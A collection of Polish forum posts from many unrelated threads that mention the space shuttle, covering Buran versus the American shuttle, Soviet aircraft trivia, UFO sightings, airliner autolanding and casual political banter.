No to będziemy mieli pierwszą na świecie kolej autobusową. Brawo, więcej takich pomysłów. lol W następnej kolejności proponuje stacjonarne samoloty LOTu, statki żeglugi naziemnej i pierwszy polski prom kosmiczny służący wyłącznie do zbioru pszenicy.

  Autobusowy problem PKP Intercity
strikemaster napisał:

> No to będziemy mieli pierwszą na świecie kolej autobusową. Brawo, więcej takich
> pomysłów. lol W następnej kolejności proponuje stacjonarne samoloty LOTu, stat
> ki żeglugi naziemnej i pierwszy polski prom kosmiczny służący wyłącznie do zbio
> ru pszenicy.

Swieta racja, strike. To glupota jakich malo - lepiej by wprowadzili na tych
trasach male zgrabne autobusy szynowe (no, chyba ze im o to chodzi, ale watpie),
byloby bardziej oplacalnie od zwyklych i mniej smiesznie. bo teraz to tylko
kretynow z siebie robia.

  Radzieckie Ciekawostki w Lotnictwie.
Co do wybranych linków mam troszki "dodatków"!:)
4) - Jest to specjalna konstrukcja do badań jak będzie wyglądało
sterowanie,podejście do lądowania i samo lądowanie promu kosmicznego "Buran"!
Na aparacie tym latali piloci doświadczalni:
Fastowiec,A.Fiedotow,W.Mienickij,I.Wołkow! Aparat spędził w powietrzu 32
godziny i 45 minut! Byl wynoszony przez inny samolot i wyczepiany na wysokości
5500 metrów!Jeden lot trwał zazwyczaj 4 minuty!
8) - Jest to jeden z trzech śmigłowców Mi-12 wyprodukowany w 1969 roku! Na tym
egzemplarzu pilot doświadczalny W.P.Kołoszienko ustanowił w 1969 roku rekord
świata unosząc ciężar 40204 kg na wysokość 2250 metrów!
14) - Jest to samolot bombowy Tu-22 i ten konkretny egzemplarz ma trochępokręc
one losy!:) Wyprodukowany został w 1960 roku i przekazany do instytutu
badawczego gdzie wylata 98 godzin! W 1962 roku został przekazany wojsku gdzie
służył przez ...3 lata i w 1965 roku przekazano go do WWIA imienia Żukowskiego
jako samolot doświadczalny! Tam służył do 1977 roku i w tym czasie przebywał w
powietrzu 350 godzin!Od 1977 roku jest eksponatem w muzeum ,w Monino!
-I tyli!:)
-Pozdrawiam!

  UFO czy co ?
arek354 napisał:
> 4. Wczoraj startował prom kosmiczny i coś mu się tam przy starcie urwało.
> NASA podaje, że to tylko jakieś kilkucentymetrowe badziewie, więc i to odpada.
60 centymetrów to nie kilka centymatrów.Poza tym jak wogóle można mówić o
pokonaniu takiej odległości i o wieżowcach we Wrocławiu.Świstak przy tym to
jest nic.Ja też coś widziałem,przeważnie nocą.Ale wszystkie obiekty są ciekawe
skądinąd.Różne samoloty i obserwacje zaćmień itp.W nocy najbardziej zaciekawiły
mnie światła na niebie o jasności i temperaturze świetlnej zbliżone do
gwiazd,które poruszały się ruchem jednostajnym ruszając skokowo,podobnie jak
automatycznie sterowane.Z tym,że niestety ja widziałem światła pojedyncze
oprócz migających świateł samolotów.

  Uderzymy w Marsa?
sorry ale wypisujesz nieprawde.
-prom kosmiczny to najdrozsza impreza orbitalna
-rakiety tomahawk (skutecznosc okolo 85%)jest podatna na zaklucenia, czego
przykaldem jest ostrzal bagdadu w ostatniej wojnie w zatoce. skuteczny ostrzal
przeprowadzono po zniszczeniu systemow zaklucajacych (rosyjskiej produkcji -
byla awantura o dostarczanie tego typu systemow do panstwa objetego embargiem na
bron) oraz na systemy przeciwlotnicze
-jak wiesz od czasu 1 bomby atomowej bylo troche wojen i to calkiem sporych i
nie uzyto broni atomowej. do niszczenia istotnych punktow uzywa sie "kierowanych
bomb" albo specialnych rakiet o duzej sile niszczenia np. bunkrow. poza tym bron
atomowa lub wspominana tradycyjna ma to do siebie ze potrzebny jest tak zwany
nosnik (samolot, rakieta, dzialo) i moze zostac zostac zneutralizowany.
kosmiczna bron kinetyczna jest wolna od wspomianych wad. nosnik jest poza
zasiegiem systemow zaklucania i obronnych.
-cena tomahawk to ponad milion zielonych.
-obecne trendy w niszczeniu to niszczenie punktowe
reszta twojej wypowiedzi jest ok

  A moze by tak samolot nazwac
Propozycje nazw obiektów związanych z papieżem
Zaproponowałem już zmienić nazwę Warszawy lub Wisły. Oczywiście nazwa marki
samochodu (może Fiata, bo wtedy Włosi pewnie by poparli) też byłaby niezła.
Samolot oczywiście popieram. Poza tym nazwa statku (o ile jeszcze nie ma),
ewentualnie prom kosmiczny (ale wtedy nasi pogodzeni właśnie prezydenci
musieliby użyć swoich wpływów w Waszyngtonie). Poza tym warto uwiecznić imię w
nazwach gatunków nowo opisywanych roślin i zwierząt czy wzorów matematycznych.
Nazwy osiedli mieszkaniowych czy uczelni albo instytutów też mogą mieć imię
JPII. Można też różne materiały używane w celach technicznych w budownictwie
czy innych dziedzinach przemysłu, na pewno coś tu dałoby się tu wykombinować.
Nazwę samolotu popieram, choć podobnie jak w przypadku nazw ulic czy placów
jest to dość banalne. Tu potrzeba czegoś oryginalnego, wielkiego.

  NASA zapłaci za loty swych astronautów na statk...
No jasne i na ksiezycu Rosjanie byli pierwsi (tylko skromnie sie nie
pochwalili) i ten prom kosmiczny to tez Amerykanie od Ruskich skopiowali a nie
odwrotnie i mikroprocesory w twoim PC-cie tez sa made in Russia - prawda ? I
Windows - och sorry OKNA to tez ruski produkt - trzymaj tak dalej - i nie
zapominaj o doskonalych rosyjskich samochodach i samolotach :))) bardzo mnie
pociesza wiara takich jak ty rusofilow :)))
Jedno ci przyznam - AK47 to dobry rosyjski projekt...

  NASA zapłaci za loty swych astronautów na statk...
lungompa napisała:

> No jasne i na ksiezycu Rosjanie byli pierwsi (tylko skromnie sie nie
> pochwalili) i ten prom kosmiczny to tez Amerykanie od Ruskich skopiowali a nie
> odwrotnie i mikroprocesory w twoim PC-cie tez sa made in Russia - prawda ? I
> Windows - och sorry OKNA to tez ruski produkt - trzymaj tak dalej - i nie
> zapominaj o doskonalych rosyjskich samochodach i samolotach :))) bardzo mnie
> pociesza wiara takich jak ty rusofilow :)))
> Jedno ci przyznam - AK47 to dobry rosyjski projekt...

Dlaczego myslisz ze o tym niewiem?

Fakt ze NASA bedzie kozystaci ze "sputnikow"(ZECZYWISCIE JEST TO SMIESZNE)
sprawi ze ten merket dostanie sraczki, bo jak on to przezyje?
On juz jest chory jak Francuzi buduja airbus i zaraz wyszukuje jakes cyfry
udowadniajace ze USA sa lepsze itd.... Dla mnie to czy boeing jest lepszy czy
airbus duzo mnie nieobchodzi. NAJLEPIEJ BYLOBY ZEBY ZADEN NIESPADL.

  Buran poleciał tylko raz
trg napisał:
>Amerykanie nie mogliby wysłać bez załogi, ponieważ później nie mógłby
>wylądować. Tylko Buran był dostosowany do lotów bezzałogowych (Tomasz Makowski,
>Włodzimierz Wojdalski, Samoloty Transportowe i Komunikacyjne Świata, Warszawa
>1992, str.268-270 [NASA/Rockwell International Space Shuttle] i str. 271-273
>[Buran-Energia])
>Najpierw zapoznaj się z tematem, a potem zabieraj głos

Dialektyka marksistowska w pełnym wydaniu.
Według głupoty, którą palnąłeś, to w lotach promów kosmicznych chodzi o
wysyłanie ich bez załogi (i niewysyłanie ani razu z załogą).
Żenada !

  Rosja proponuje Europie tarczę antyrakietową
Po kolejnej katastrofie US. promu kosmicznego przez kolejne lata na potrzeby
stacji pracowały rosyjskie rakiety, najwiękrzy CYWILNY samolot świata
(eksploatacja obecnie Brytyjsko-Rosyjska), któryś Antonow ......etc.
"Reszty nie komentuje bo nie ma czego komentowac".
PS> Świat się zmienia - a nie "uwiędłych laurów liść z uporem stroić głowę" i
mieć z tego same "profity" dla niemców (oddany olbrzymi rynek).

  Rosja proponuje Europie tarczę antyrakietową
> Po kolejnej katastrofie US. promu kosmicznego przez kolejne lata na potrzeby
> stacji pracowały rosyjskie rakiety
Dostarczajac jedzenie i ludzi. Nie sprzet, bo sa na to za male.
>najwiękrzy CYWILNY samolot świata
> (eksploatacja obecnie Brytyjsko-Rosyjska), któryś Antonow ......etc.
No nazywa sie Mirja i byl wyprodukowany o ile mnie pamiec nie myli w 2
egzemplarzach do przewoz promu Buran. Nie lata tak samo jak Buran.
Natomiast ty piszesz o Ruslanie. Ten lata.
Tylko o czym to w.g. ciebie swiadczy?

  skad ta rusofobia?
To się mylisz. Rosjanie również są wykształceni wcale nie gorzej od
Polaków , może i lepiej. Zwróć uwagę że to nie w Polsce wysłano np
pierwwzego człowieka w przestrzeń kosmiczna lecz w Rosji. Równiez to
Rosja nie Polska przez wiele lat konkurowała i nadal konkuruje w
dziedzinie techniki militarnej z np USA. Ruscy inżynierowie
projektujący np łodzie podwodne , samoloty i czołgi to nie Polacy
zatrudnieni w ruskich biurach projektów. No chyba że ja nic nie wiem
i że Polska nagle zaskoczy Świat np prezentując własnej konstrukcji
prom kosmiczny lub choćby własnej konstrukcji samochód albo samolot.

  skad ta rusofobia?
10elektryk10
To się mylisz. Rosjanie również są wykształceni wcale nie gorzej od
Polaków , może i lepiej. Zwróć uwagę że to nie w Polsce wysłano np
pierwwzego człowieka w przestrzeń kosmiczna lecz w Rosji. Równiez to
Rosja nie Polska przez wiele lat konkurowała i nadal konkuruje w
dziedzinie techniki militarnej z np USA. Ruscy inżynierowie
projektujący np łodzie podwodne , samoloty i czołgi to nie Polacy
zatrudnieni w ruskich biurach projektów. No chyba że ja nic nie wiem
i że Polska nagle zaskoczy Świat np prezentując własnej konstrukcji
prom kosmiczny lub choćby własnej konstrukcji samochód albo samolot.

Skąd ta rusofilia? Wynika z twojego zakompleksienia?

  Kolejny głos w sprawie likwidacji tramwajów
> Tylko tych, co się nie uczyli w szkole dziwi, że wszyscy, którzy
optują za
> pozostawieniem tramwaju mówią jednym głosem i przytaczają te same
argumenty.

Mnie to nie dziwi. Człowiek jest zwierzęciem stadnym, co oznacza, że
stado zawsze powtarza zdanie swojego przywódcy, jakie by ono nie
było.

> tramwaj jest lepszym srodkiem lokomocji niż autobus

Prom kosmiczny jest lepszy od samolotu. Czujesz blusa?

  Drony zabiły w Pakistanie 320 cywilów?
A co ma piernik do wiatraka?
Uwazasz np, ze skoro do przewiezeienia dwoch pasazerow na odleglosc 200km lepiej wybrac helikopter niz prom kosmiczny NASA powinna sie skupic na helikopterach, bo sa najwyrazniej lepsze? Kazdy mysliwiec rozpierniczylby taka maszyne w sekunde. One nie do zastepowania F16 sa stworzone. I to, ze w jakims konkretnym przypadku, w ktorym najwyrazniej nalot sie nie sprawdzal, maly, bezzalogowy samolot okazal sie lepszym wyborem o niczym nie swiadczy. W 100 innych misjach, do ktorych mozna uzyc F16 taki samolocik nie mialby czego szukac.

  "To technologiczny skok dla Rosjan, ale pozosta...
Niestety prawda jest bolesna - szybko Rosja nie osiągnie poziomu USA co wyraxnie widac na [przykładzie omawianej maszyny.
Sprawa prosta :
-F22 od trzech lat służy już w liii a F35 kończy planowe próby i wielkimi krokami zbliza się oblot pierwszej seryjnej maszyny a nie muszę chyba udowadniać że F 35 do PAK-FA to jak Prom kosmiczny do avionetki.
Prawdą jest też że narazie cała avionika jeszcze nie powstała a szumnie zawidowiany radar dopiero jest konstruowany i nie bardzo są pieniądze na kontynuowanie prac.
Ja zobaczyłem pierwszy raz ten samolot to niczym mnie nie zaskoczył-typowa przyciężka konstrukcja z ważącym z 500 kilo podwoziem z wielkim kołami.Dodatkowo obejrzyjcie sobie dysze PAK-a i porównajcie je z płaskimi dyszami F 22 gdzie ślad cieplny jest o 2/3 a mniejszy.
No i jeszcze jedno -nie ma się co podniecać bo wiele konstrukcji Rosyjskich doczekało się jedynie latających prototypów ( choćby MiG 1.42) a potem zdechły bo nie było kasy na dalsze prace i produkcję seryjną.

  Rosyjski statek towarowy przybił do ISS
Bo jakos policzyli, ze jeden lot rosyjskim okretem jest w kilka razy tanszy niz swoim promem.
Zgadza się. Zapomniałeś tylko dodać, że swoją drogą świetne Progressy nie mają możliwości przewożenia takiej ilości ładunku jak wahadłowce... Nie te gabaryty. Progerss przewozi ok 2.5 t ładunków, a wahadłowiec ok 25t. Taka subtelna różnica... Wiec dziwnym nie jest, że lot Progessu jest tańszy niż lot wahadłowca.

ten prom bez zalogi automatycznie sobie powrocil z kosmosu i wyladowal. Co wtedy nie mogli sobie wyobrazic naukowcy promow amerykanskich.
I tylko na tym malym przykladzie, swiat dostal duzo dla siebie. Bo wszystkie nastepne systemy automatycznego ladowania zrobione dla samolotow cywilnych, co dzisiaj jest zwykla rzecza, byli wzorowane na danych i z systema Burana.

Oj Denis Denis...
Dla twojej informacji wszystkie lądowania amerykańskich promów kosmicznych odbywają się automatyczne. Od pierwszego lotu Columbii w 81r. Jedyne co robią piloci to naciskają klawisz z napisem "Autolanding". Ok, na początku musieli jeszcze załadować program lądowania do pamięci komputera.
Jak masz ochotę sobie trochę o tym poczytać to polecam "What do YOU care what other people say" nieodżałowanej pamięci Richard'a Feynmana.

System automatycznego lądowania został opracowany tak gdzieś w połowie lat 50 i od lat 70 jest powszechnie dostępny dla samolotów pasażerskich, a od lat 80 powszechnie stosowany.
Tyle w tym temacie.

  Co zepsuło samolot?
lady_ela napisała:
> modeli Boeinga który całą elektronikę miał oparta na pracujących
> silnikach przynajmniej jednym. I co? Pilot wylądował pilotując
> kilkudziesięciotonową maszynę jak szybowiec.

Tak zwany "szybowiec z Gimli" (bo lecial do Gimli, Manitoba).

Podobny przypadek mial Air Transat (A330) w locie do Portugalii (chyba z
Toronto) bodajze w 2001 roku - stracil wszystkie 4 silniki. Paliwo, owszem, mial
- tyle, ze podczas ostatniego przegladu jakis idiota zamontowal pompe paliwowa
odwrotnie i zawor zamykal przeplyw, zamiast otwierac.
Z wysokosci 10.5 km - ale przy absolutnie znakomitej, lagodnej, letniej pogodzie
- pilot dolecial slizgowym (rzeczywiscie jak szybowiec) do Azorow, gdzie, jak
sie okazalo, na jednej z wysepek jest baza NATO, wyznaczona jako awaryjne
ladowisko dla promu kosmicznego Columbia.
Wystarczylo pasa na posadzenie samolotu z nadmiarem predkosci i hamowanie samymi
kolami, bez "przeciwciagu". Nic sie nikomu nie stalo, poza tym, ze najedli sie
strachu. Ale ladowanie bylo MISTRZOWSKIE!

  Na wrocławskim lotnisku ktoś celuje laserem w s...
> niezaleznie jak nowy by byl to samolot sam tego nie zrobi...

Bardzo stara wiedze masz. Juz prom kosmiczny ma mozliwosc wyladowania na
autopilocie,a to blisko 30-letnia technologia. Jesli latasz samolotami, to masz
bardzo duza szanse, ze przezyles niejedno ladowanie na autopilocie.

Nie mam czasu szukac zrodel, ale na wielu nowoczesnych lotniskach samolot moze
wyladowac na autopilocie, jedynej rzeczy jakiej samoloty nie robia same to
manewry na plycie lotniska. Ponizszy artykul na wikipeddi poinien Cie odeslac do
bardziej wiarygodnych zrodel:

en.wikipedia.org/wiki/Autopilot#Modern_autopilots

  Dlaczego samoloty są białe?
ale skoro na wysokości 10 km temperatura powietrza
> spada nawet do -50 stopni, to chyba jakby się trochę nagrzał, to nic by mu nie
> było? :)

Powietrze słabo absorbuje energię promieni słonecznych. Zupełnie inaczej dzieje
się z kadłubem samolotu. Prom kosmiczny, ISS czy kombinezony kosmonautów też są
białe. Więc coś w jest na rzeczy.

  Driga hamowania a aerodynamika
Koledzy emes i dewulot mają rację - wpływ oporu aerodynamicznego na drogę hamowania jest pomijalnie mały. Każdy może się o tym przekonać po prostu zdejmując nogę z gazu przy 100 km/h.

I przy dowolnie większej prędkości auta też, ponieważ wprawdzie siła tego oporu rośnie z kwadratem prędkości, ale tak samo rośnie energia kinetyczna samochodu, która musi zostać wytracona.

Mylącym faktem jest tu stosowanie hamulców aerodynamicznych w niektorych samolotach czy promach kosmicznych. Ale to zupełnie inne kategorie generowanych oporów, ponieważ tam rozwija się wielkie spadochrony. To samo z odwracaniem ciągu silników, chociaż to już nie może być zakwalifikowane chyba jako hamulec aerodynamiczny.

Ciekawostka: Bugatti Veyron rzekomo dzięki otwieranemu spojlerowi, zwanemu "air brake" ma generowiać około 5 m/s^2 przyspieszenia ujemnego podczas hamowania. Tu na torze Top Gear'a można zobaczyć, jak ten "air brake" działa: www.youtube.com/results?search_query=bugatti+veyron+top+gear+track

Zgaduję jednak, że owo zwiększenie skuteczności hamowania pochodzi z faktu generowania siły docisku przez uchylany spojler, dzięki której normalne hamulce auta mogą pracować z większą mocą bez zrywania przyczepności.

  dział ds. legitymacji partyjnych !!
dział ds. legitymacji partyjnych !!

wysłałam wszyskim na poczte wzór legitymacji partyjne , ale jesli do kogos
nie dzoszło to włazic tutaj :
antalia.fm.interia.pl/antalia/legitymacja%20partyjna.JPG
macie ja wypełni i bez niej nigdzie sie nie ruszac :D

a to je moja przykładowo wypełniona legitymacja :
antalia.fm.interia.pl/antalia/moja%20legitymacja.JPG

jakies pytania ?

aaa i jszcze jedna bardzo wazna rzecz:

" legitymacja ta uprawnia do wymyślonej ulgi przy przelotach 2 promów
kosmicznych , mysliwców , samolotów na uwiezi oraz 0,7% ulgi w autobusach
komunikacji pzoaziemskiej i zwykłych z miejsca wagarów do znajomych i z
powrotem , na podstawie dowolnych biletów wyjetych z kosza (takze na
podstawie czegokolwiek) .
Uprawnia takze do 50% ulgi przy kaarch cielesnych wymierzanych po : późnym
powrocie do domu , wywiadówkach itp. "

  Księżycowe teorie spiskowe
> Trochę to przypomina historię z pierwszym pasażerskim samolotem
> naddźwiękowym Tu-144, który nigdy nie wszedł do eksploatacji i z
> wahadłowecem "Buran"

Oba te modele powstaly, tak, jako kopie zachodnich, ale Rosjanie doszli
natychmiast do slusznego wniosku, ze te technologie sie "za pyte" nie oplacaja i
dali sobie z nimi spokoj. Amerykanom zajelo to po kilkadziesiat lat - koncowy
wniosek byl ten sam.

>"Buran" - który wykonał tylko jeden lot, i to
> bezzałogowy.

Nom, a Amerykanie do dzis nie potrafia promu kosmicznego bez sterowania przez
pilota wyladowac...

:D

  Przyszłość SpaceX - omówienie
1. Samochod - zatruwa srodowisko, zuzywa nieodnawialne zasoby i
zabija oraz kaleczy ludzi...
2. No coz, pewna ilosc samolotow musi latac (zreszta to obecnie
najbezpieczniejszy srodek transportu), ale po co wciaz lataja
Sojuzy, to ja tego nie rozumiem. Powtarzaja one przeciez w kolko lot
Gagarina, tyle ze on polecial dokladnie ta sama technika w kosmos w
roku 1961... I podobnie nie maja dzis sensu znacznie bardziej
ryzykowne loty promow kosmicznych NASA...
3. Do czasu opracowania napedu antygrawitacyjnego czy czegos w tym
rodzaju, nie ma wiec sensu zuzywanie ograniczonych zasobow energii
na wyslanie w kosmos rakiet pracujacych na zasadzie rakiety A4,
zbudowanej w III Rzeszy w latach 1940. przez majora SS, von Brauna,
pozniejszego szefa NASA...
4. Pozdr. :)

  Czy strzelać do porwanego samolotu?
Czy strzelać do porwanego samolotu?
Prawo do zestrzelenia samolotu:"Wykracza też poza konstytucyjne zadania sił
zbrojnych, ponieważ one wedle konstytucji powołane są do ochrony
niepodległości państwa, niepodzielności terytorium oraz zapewnienia
bezpieczeństwa i nienaruszalności granic"??
Otuż jeżeli wojsko wysyłamy np do Afganistanu i tam giną nasi żołnierze to czy
jest to ochrona życia? A więc jeżeli trzeba zestrzelić samolot w którym jest
300 cywili ale chroni się przed utratą życia ok 3000 ludzi to czy jest to
ochrona życia czy nie? Czy Wolno takiej decyzji nie podjąć i doprowadzić do
śmierci 2700 więcej? Jeżeli Sędzia kwestionujący to prawo które nie może być
powierzane osobom np. takim jak Maciarewicz :) wziąłby odpowiedzialność za
dodatkowe straty w ludziach w liczbie ok 2700 osób to proszę podważać to
prawo. Sędzia Garlicki nie dokładnie zdaje sobie sprawę że tego typu decyzje w
Państwie muszą być czasem w stanach zagrożenia podejmowane.
Przykładem może być Prom Kosmiczny Chalanger.

  Kobieta to najpiękniejszy dar dla czlowieka
teletoobis napisał:

> Dokladnie o Sinsheim. Tam jest wiecej samolotow i ... mercedes Adolfa. Nawet na
> tamte lata- byla to niezla limuzyna pancerna.

Kilka lat temu ruscy mieli im sprzedać swój prom kosmiczny ,ale nie pamiętam co
z tego wyszło ?

> Drugie muzeum jest w langengurgu... :)

To tam stoi taka mała łódź podwodna ?

  Czy leci z nami pilot?
Czy leci z nami pilot?
Cześć, tu wodnik.
Chodzi o scenę opowieści o akcji nad Macho Grande, która (scena) ma
miejsce w samolocie rejsowym (czy też na promie kosmicznym, bo mi
się te dwa filmy mieszają).
Czy wy też macie czasem taką trudną do opanowania potrzebę wygadania
się? Kiedy czujecie, że dalsza kumulacja wspomnień i emocji
przekroczy masę krytyczną i po prostu eksplodujecie, jak z kimś nie
pogadacie? A w zasadzie nie wygłosicie monologu na temat swój i
świata widzianego własnymi oczami? Czy od swojej ofiary oczekujecie
zrozumienia i ewentualnej dyskusji, czy raczej tylko tego, że dotrwa
żywa do końca opowieści?

pozdro
wodnik

  ostatnie katastrofy lotnicze
Trzeba też dołączyć do tematu promy kosmiczne, które od pewnego czasu
przezywają jeszcze większy kryzys niż linie lotnicze. To tez samolot, tylko
lata treoche wyzej. Dane promow były juz na forum przy okazji katastrofy
Columbii.
11 września pasuje jak ulał do Neptuna. Każdy samolot to wielka latająca
cysterna. Wraz z przejściem Neptuna przez asc lotnictwa przyjdzie moze czas na
rozwiazanie tego problemu. Pluton z Neptunem zmusza zapewne lotnictwo do
transformacji w zakresie zarowno zrodel energii jak i finansowym. Kto wie, moze
pojawia sie wynalazki, ktore sprawia, ze lotnictwo jako srodek komunikacji w
ogole przestanie byc potrzebne?

  Komisja Europejska nie da pieniędzy na Obice
Gość portalu: czytelnik napisał(a):

> macie 100 km do Krakowa wystarczy dobra droga.A stacji promow kosmicznych nie
> chcecie?

nie wiem jak z punktu ekonomii to wygląda ale na pewno przydały by się nowe,
niewielkie porty lotnicze. Z doświadczenia wiem, że im większe lotnisko tym
większa szansa na opóźnienia samolotów. Jak trzeba lecieć transferem a nie
bezpośrednio to już całkiem jest klapa.
Ostatnio leciałem z Amsterdamu do Pyrzowic (via Fraport). Pierwszy lot opóźnił
się 3 godziny - do Pyrzowic musiałem leciec następnym połączeniem i łącznie
spóźnienie wyniosło 6 godzin !!
Wniosek - nie mów głupot o promach kosmicznych

  Pierwsze C-17 Globemaster dla NATO na wiosne 2009
Browiec An-225 "Mrija" to samolot ściśle związany z Radzieckim programem promów
kosmicznych "Buran"! Gdyby program miał dalsze finansowanie to pewnie i
samolotów tych było by więcej! Dla armii jako samolot transportowy jest ZA DUŻY!
Wszystkie misje armijne można z powodzeniem wykonać samolotami An-124 "Rusłan"!
Nie napisałem ,ze jest to zła konstrukcja tylko,że po prostu wojsku samolot o
takim udźwigu po prostu nie jest potrzebny! Co innego w przewozach komercyjnych
ładunków o bardzo dużych gabarytach i masie!
-Pozdrawiam!

  Wybuch na rosyjskim o.p, lotnisku i sabotaż w NASA
Wybuch na rosyjskim o.p, lotnisku i sabotaż w NASA
"Do niewielkiej eksplozji doszło na rosyjskim okręcie podwodnym, najpewniej o
napędzie atomowym, lecz nie ma wycieku radioaktywnego - podała agencja
Interfax.
Do wybuchu doszło w czwartek na pokładzie okrętu rosyjskiej Floty Północnej
naprawianego w doku portu w Siewierodwińsku nad Morzem Białym." (za onet.pl)

Taki oto przekaz agencji Interfax.

napisano: niewielka eksplozja - czyli - rozpieprzyło pół portu

napisano: najpewniej o napędzie atomowym - czyli - nie tylko atomowy, ale z
pociskami balistycznymi na pokładzie

napisano: lecz nie ma wycieku radioaktywnego - czyli - następny obszar Rosji
skażony

;-)

I tak dla równowagi:

"Na lotnisku na Pustyni Mojave w Kalifornii, gdzie odbywają się próby
silników rakietowych i pionierskich samolotów kosmicznych, doszło do silnego
wybuchu o nieznanej przyczynie. Trzech pracowników naziemnych zostało
zabitych, trzech jest ciężko rannych." (onet)

Ktoś próbuje storpedować rozwój turystyki kosmicznej?

I hit - sabotaż na pokładzie przygotowywanego do startu promu kosmicznego:

"NASA twierdzi, że w planowanej na 7 sierpnia misji promu "Endeavour" wykryła
próbę sabotażu. Według agencji jeden z jej pracowników przeciął przewody w
komputerze, który miał przekazywać dane z Międzynarodowej Stacji Kosmicznej
na Ziemię. "
(rzeczpospolita)

  Stacja kosmiczna nad Tarnobrzegiem
Stacja kosmiczna nad Tarnobrzegiem
Przedwczoraj byłem świadkiem przelotu nad naszym miastem stacji
kosmicznej Alfa. Miało to miejce ok. godz. 20.40. Od strony Wisły
zblzał sie dość wolno duzy biały punkt. Leciał na zachód - w stronę
Stalowej Woli. Nie mógł to być samolot, bo one migają kolorowymi
światłami. A to było jak UFO. Ale wiem, że to nie było UFO. Jakiś
czas temu w prasie były informacje, że czasem nad Polską widać Alfę.
Najczęsciej wtedy, gdy przycumowany jest do niej prom kosmiczny. A
tak jest własnie teraz. Powierzchnia stacji się zwiększa i, tym
samym, obiekt staje się bardziej widoczny.
Przechodnie, którym zwracałem na to uwagę, byli w szoku. W życiu
takiego jasnego obiektu na niebie nie widzieli (ja też).
Kto mi nie wierzy niech zajrzy na stronę:
www.heavens-above.com/iridium.asp?Dur=7&lat=50.583&lng=21.683&loc=Tarnobrzeg&alt=151&tz=CET
gdzie podane są godziny przelotu Alfy nad naszym miastem. Niestety,
teraz już bardzo późno...

  Lot Discovery może się opóźnić przez deszcz
dobrze, doczytalem dalej wiec odpisze dalej. Poza zdaniem o daleko wiekszej wiedzy amerykanow w dziedzinie samolotow kosmicznych... moge sie zgodzic bo to zdrowe podejscie. Ale to zdanie jest dziwne.Skad wiesz o jakiejs wiedzy kto jaka ma? Zapominasz ze rosjanie zrobili burana nie tylko na papierze, i zrobili go sami, kazdy kto twierdzi ze wykradli plany amerykanom jest niepowazny. Powodow kilka. Po pierwsze amerykanie nigdy by nie dali sobie ich wykrasc, tego jest zreszta tony papieru. Po drugie airbus jest tez podobny do boinga bo ma kadlub, dwa skrzydla i ogon. Osisagniecie pewnych rzeczy jest mozliwe tylko przy pewnych ksztaltach, stad podobienstwa. Po trzecie, buran i szutel maja zupelnie inne koncepcje napedu. Odnosnie daleko wiekszej wiedzy- rosjanie mieli jeszcze mołnię, ktora rowniez bylaby dobrym srodkiem transportu na orbite, daleko ekonomiczniejszym niz promy (choc i z mniejszym ladunkiem). I cala mase roznych innych projektow ktore rzeczywiscie powstaly tylko albo prawie tylko na papierze. Przeceniasz amerykanow, choc faktem jest ze sciagaja najpeszych z calego swiata bo maja za co.Ja tez sie nie smieje z osiagniec amerykanow, nie ma sie z czego smiac, sa dobzi. Ale tez ich nie przeceniam a doceniam innych.

  UFO, kręgi w zbożu i biznes w Wylatowie
Jeżeli to są kosmici, to nie mamy szans na ich wykrycie:
1) kosmici zablokują kanały mózgowe wszystkich obserwatorów;
2) zablokują kamery polem magnetycznym;
Chcąc dorównać im, należy być bardziej otwartym i wierzyć w swoje możliwości,
które rozpłynęły się w nas dzięki głupocie cywilizacji.
Mózg to na razie niedostępna dla nas potęga mocy.
Jak pokazują przykłady z samolotem Concorde i NASA z promami kosmicznymi, jako
ludzie jesteśmy zbytnio zadufani w swoją malutką wiedzę na temat wszechświata.
Jako ludzie musimy być bardziej otwarci na otaczający nas świat i być bardziej
poinformowani na temat badań. Oprócz tego wnioski powinny być bardziej
dostępne dla ogółu, a nie chowane pod stół jak robią to naukowcy pod wpływem
najbardziej bogatych krajów swiata. Taka jest globalizacja - za nas myślą
zadufani w sobie bufoni z wypchanymi kieszeniami pieniędzy. To oni niszczą
naszą Ziemię.

  Norwegia: pijani Polacy pobili się w samolocie
No pewnie że ludzie zalewają ryja w samolotach. Także w pociągach autobusach
apewnie niedługo nawet w promach kosmicznych. wiesniactwa nigdy nie da sie
wytepic do reszty ale niech nikt nie mówi że Polacy maja monopol na zalewnaie
sie do urzygu i awanturowanie bo cale w tymnie jestesmy najlepsi.

  Def - Poludnie USA, to trzeci Swiat...ZGODA!!!
j-k napisał:

> Wal tam z pomoca...
> W pelni popieram...
>
> W koncu za program kosmiczny, system NORAD itd...
> kosztuje...
> dlaczego tylko Polnoc ma placic?

Drogi j-k przeciez Swiat finansuje juz USA ostatnio na 800 mild$ rocznie. Tyle
wynosi deficyt handlowy USAa ten rok. Zebralo sie za ostanie 15 lat ze 4000
mild$.
Jeszcze za malo?
Coz dostawanie pieniedzy za darmo uzaleznia jak narkotyk. Po co cos produkowac
jak mozna wyprodukowac zielone a Swiat wyprodukuje i pod pysk do zarcia
podstawi. Ale to ma jedna wade. Odzwaczaja sie kraj od pracy. I potem taka
powodz i Swiat musi przysylac pompy do wody, jakies hale z Holandi na 5 tys
ludzi a wlasciwie trupow, samoloty NATO, zarcie.
Tez i w Iraku nie idzie, prawie cale wojsko tam siedzi wiec i do powodzi nie ma.
Co do programu kosmicznego Columbia wiadomo co. Po 2,5r nastepny prom ledwo
wrocil.
Jeszcze wiecej j-k? Ja staram sie jak moge. Niemcy maja nadwyzke handlowa do
USA. I to duza.
Lenistwo nie poplaca.
Pozdrowienia

  Clarkson o koreańskich samochodach :-D
wlk.brytania napisał:

> ...Clarkson to gosc,ktory prowadzi
> program o samochodach w ogole sie na nich nie znajac...

w tym programie chyba nikt sie na nich nie zna :-(
za to najepiej potrafia rozbic auta wiszace na dzwigach ,poscigac sie z
samolotem itd.
ciekawe czy po wyscigu z promem kosmicznym program dokona zywota ,czy moze
jeszcze cos wymysla :-))

  Powstaje pierwszy F-16 dla SP...
Tak naprawde to ciesza sie z tego amerykanscy robotnicy. No moze niezupelnie
rowniez nielegalni immigranci.Samolot i to nie tylko ten budowany jest przez
okolo 200 tys. drobnych producentow. Sa to bardzo male zaklady robiace jakies
czesci. A w nich pracuja wlasnie ci nielegalni. I robia te czesci do tych i
innych samolotow. Duzo tam nie placa ale robota jest stala.Wiem o tym najlepiej
bo po przyjezdzie do USA pracowalem w takim zakladzie w Elk Grove Village(obok
Zacharskiego)przedmiescie Chicago i wlasnie tam wykonywalem te czesci do F-16,B-
52, promu kosmicznego,rakiet i innych. Bardzo dobre japonskie maszyny CNC i
super QC.

  Sposoby walki z samolotami Stealth?????
